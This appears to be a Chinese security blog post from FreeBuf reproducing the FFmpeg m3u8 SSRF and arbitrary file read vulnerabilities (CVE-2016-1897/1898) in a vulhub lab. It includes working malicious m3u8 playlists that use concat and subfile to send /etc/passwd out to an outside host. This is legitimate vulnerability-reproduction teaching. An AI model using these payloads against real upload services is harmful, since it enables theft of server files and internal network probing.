freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ffmpeg 任意文件读取漏洞 SSRF 漏洞复现
2020-12-19 14:07:05

ffmpeg 任意文件读取漏洞 / SSRF 漏洞 (CVE-2016-1897/CVE-2016-1898)

Port : 8090

FFmpeg 是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。功能非常强大,是每个视频网站必不可少的多媒体文件处理程序。


在 FFMpeg2.X 由于在解析 HTTP Live Streaming 流媒体 m3u8 文件处理不当,可导致 SSRF 漏洞与任意文件读取漏洞。当网站允许用户上传多媒体文件,并使用 FFMpeg 进行处理时会触发该漏洞。


这个漏洞有两个 CVE 编号,分别是 CVE-2016-1897 和 CVE-2016-1898,它们两个的区别在于读取文件的行数,CVE-2016-1897 只能读取文件的第一行,而 CVE-2016-1898 可以读取文件任意行,原理基本一样。

影响版本

FFmpeg 2.8.x < 2.8.5
FFmpeg 2.7.x < 2.7.5
FFmpeg 2.6.x < 2.6.7
FFmpeg 2.5.x < 2.5.10

这个漏洞主要涉及 ffmpeg 对 m3u8文件的处理不当导致的,具体的原理部分不过多赘述,可以参考如下连接:

原理

漏洞环境

如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub

运行测试环境:

docker-compose  up  -d

运行完成后,访问对应的 URL 端口,可以看到有个视频上传的接口1608356946_5fdd9452c254e58b1c5fb.png!small?1608356946757

查看后台的 php 源码,实际上只是借用了 ffmpeg -i 这个命令,因此实际上如果没有部署 docker 镜像,可以之际安装 ffmpeg 软件,通过 ffmpeg 转换即可。

<?php
if(!empty($_FILES)) {
    $filename = escapeshellarg($_FILES['file']['tmp_name']);
    $newname = './' . uniqid() . '.mp4';
    shell_exec("ffmpeg -i $filename $newname");
}
?>

漏洞复现

我们首先构造一个恶意的 m3u8 的文件(用记事本编写,保存为.m3u8后缀):

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:10.0,
 http://X.X.X.X:9999/test.txt
 #EXT-X-ENDLIST
各参数说明: 
#EXTM3U 标签是 m3u8 的文件头,开头必须要这一行
#EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1
#EXTINF:10.0, 表示该一段 TS 流文件的长度
#EXT-X-ENDLIST 这个相当于文件结束符

这些是 m3u8 的最基本的标签,而问题就出在 FFMpeg 去请求 TS 流文件(URL)时,FFMpeg 不会判断里面的流地址,直接请求。服务端监听端口:

1608357097_5fdd94e9b8967dddc983e.png!small?1608357098148

既然可以请求外部数据,因此可以尝试 SSRF 带外。通过查阅资料,发现 ffmpeg 内部有一个 concat 函数,因此我们可以将内部数据通过 concat 拼接 OOB。1608357105_5fdd94f1830582b3cc217.png!small?1608357105472

如果直接使用 concat 拼接,只会正常请求,因此我们需要一些小技巧,将本地文件带出来。

  • 首先,我们需要在 web 服务器上创建一个 error.txt,文件内容是 m3u8 的格式,其中不包含文件结束符。

  • 其次,我们再创建一个恶意的 m3u8 文件(或者 avi、mp4 等后缀),文件内容通过 concat 拼接本地文件 /etc/passwd。

  • 最后,我们上传这个恶意的 m3u8 文件。参考文件内容如下:

error.txt

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:,
 http://X.X.X.X:9999/?

upload.m3u8

#EXTM3U
 #EXT-X-TARGETDURATION:6
 #EXTINF:10.0,
 concat:http://X.X.X.X:8989/error.txt|file:///etc/passwd
 #EXT-X-ENDLIST

web 服务器部署 error.txt:

1608357157_5fdd9525dffee5a28a319.png!small?1608357157832

上传恶意的 m3u8 文件:

1608357174_5fdd95368e6320d62b793.png!small?1608357174463

同时,VPS 监听 9999 端口:

1608357201_5fdd9551b5b9c72c3ee22.png!small?1608357201728

注意:

1608357247_5fdd957f0b502c85c68ff.png!small?1608357247033

可以发现以上的操作方式,只能将 /etc/passwd 数据中的第一行带外出来,但是后面的内容还是没有读出来,因此我们借助其他函数进行进一步利用。ffmpeg 还提供了 subfile 函数,其中 Start 后是开始截取的偏移量,以字节为单位,end 是结束的偏移量。

1608357260_5fdd958c034b8c2ce17a0.png!small?1608357260634

只需要修改恶意的 upload.m3u8 文件

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd
#EXT-X-ENDLIST

在逐渐增加 subfile 偏移量的测试过程中,发现超过一定长度后,数据读取部分不再增加。猜测可能和 URL 长度或者和换行符有关。1608357308_5fdd95bc91bc7d44527a3.png!small?1608357308664

1608357324_5fdd95cc8a885cee7103a.png!small?1608357324538

在不断测试的过程中,最终发现,与 URL 长度,m3u8 请求 URL 都无关系,也没有 32 字节的限制。实际上 concat 连接 URL 时是不能包含换行符的。/etc/passwd 文件存储过程中换行符 \n 是占一个字符的,所以无论是通过 file 协议,还是 subfile 切片,只要是读取到 \n 则中断,后面的内容无法输出。

按照这个思路,我们能只需要通过 subfile 读取文件时,跳过 \n 符号,不断根据返回的数据进行调试,最终可以读取到完整的数据。以如下的 /etc/passwd 的文件为例,附上 payload 参考:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
messagebus:x:101:101::/var/run/dbus:/bin/false
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd|subfile,,start,80,end,116,,:///etc/passwd|subfile,,start,117,end,153,,:///etc/passwd|subfile,,start,154,end,188,,:///etc/passwd|subfile,,start,189,end,236,,:///etc/passwd|subfile,,start,237,end,284,,:///etc/passwd|subfile,,start,285,end,329,,:///etc/passwd|subfile,,start,330,end,373,,:///etc/passwd|subfile,,start,374,end,423,,:///etc/passwd|subfile,,start,424,end,475,,:///etc/passwd|subfile,,start,476,end,518,,:///etc/passwd|subfile,,start,519,end,571,,:///etc/passwd|subfile,,start,572,end,624,,:///etc/passwd|subfile,,start,625,end,686,,:///etc/passwd|subfile,,start,687,end,735,,:///etc/passwd|subfile,,start,736,end,817,,:///etc/passwd|subfile,,start,818,end,876,,:///etc/passwd|subfile,,start,877,end,918,,:///etc/passwd|subfile,,start,919,end,965,,:///etc/passwd
#EXT-X-ENDLIST

最终读出所有数据:

1608357405_5fdd961dbece08a3e7753.png!small?1608357406349

# 网络安全技术 # 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者